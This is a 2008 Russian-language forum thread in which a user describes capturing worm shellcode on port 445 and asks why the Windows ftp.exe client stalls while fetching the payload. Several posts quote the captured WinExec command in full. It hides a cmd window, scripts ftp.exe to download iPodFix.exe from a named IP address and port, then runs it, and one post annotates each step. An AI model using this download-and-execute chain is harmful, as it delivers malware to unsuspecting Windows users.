[Проблема] ftp.exe не закачивает файл
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
[Проблема] ftp.exe не закачивает файл - 2008-01-20 13:49:19.553333
|
|
|
Sarc
Сообщений: 2
Оценки: 0
Присоединился: 2008-01-20 13:34:15.540000
|
В общем от нечего делать я сделал порт маппинг для 445 порта написал небольшую прогу которая принимает всё что в этот порт приходит и записывает в файл. Через некоторое время я поковырялся в шелкодах, которые приходят, насколько я понял, суть их всех сводилась к тому, чтобы выполнить WinExec("cmd /c echo open 88.200.246.251 14384 >> ii &echo user a a >> ii &echo binary >> ii &echo get iPodFix.exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &iPodFix.exe",SW_HIDE), ну дык вот, дописал свою прогу, чтобы она редактировала строку "cmd …" убирая из неё команду типа "&iPodFix.exe" и вызывала WinExec() с уже отредактированной строкой. Вопрос: почему дальше ftp> get iPodFix.exe поцесс не идёт? З.Ы. Вместо iPodFix может быть что угодно, это учтено… ftp> open 88.200.142.128 23504 Связь с 88.200.142.128. 220 StnyFtpd 0wns j0 ftp> user 1 1 331 Password required 230 User logged in. ftp> get iPodFix.exe 200 PORT command successful. 150 Opening BINARY mode data connection
|
|
|
RE: [Проблема] ftp.exe не закачивает файл - 2008-01-20 15:23:11.310000
|
|
|
Alaget
Сообщений: 330
Оценки: 0
Присоединился: 2007-11-08 15:57:53.170000
|
Ты что шоу экстрасенсов давай исходник.
|
|
|
RE: [Проблема] ftp.exe не закачивает файл - 2008-01-20 23:40:04.513333
|
|
|
Sarc
Сообщений: 2
Оценки: 0
Присоединился: 2008-01-20 13:34:15.540000
|
Исходник в аттаче, но вообщето вопрос относительно стандартной программы win xp называется ftp.exe находится в папке %windir%/system32, являющейся ftp клиентом и вызываемой шелкодом: WinExec("cmd /c echo open 88.200.246.251 14384 >> ii &echo user a a >> ii &echo binary >> ii &echo get iPodFix.exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &iPodFix.exe",SW_HIDE) Запускает командную оболочку виндовса (cmd.exe) с невидимым окном и параметрами "/c echo open 88.200.246.251 14384 >> ii &echo user a a >> ii &echo binary >> ii &echo get iPodFix.exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &iPodFix.exe" которые последовательно исполняются командной оболочкой
echo open 88.200.246.251 14384 >> ii
echo user a a >> ii
echo binary >> ii
echo get iPodFix.exe >> ii
echo bye >> ii //создаём точнее дописываем в файл "ii" строки: open 88.200.246.251 14384 ;user a a ;binary ;get iPodFix.exe ; bye
ftp -n -v -s:ii // запускаем ftp.exe
del ii // удаляем больше не нужный файл
iPodFix.exe //запускаем скачанный экзешник
|
|
|
|
|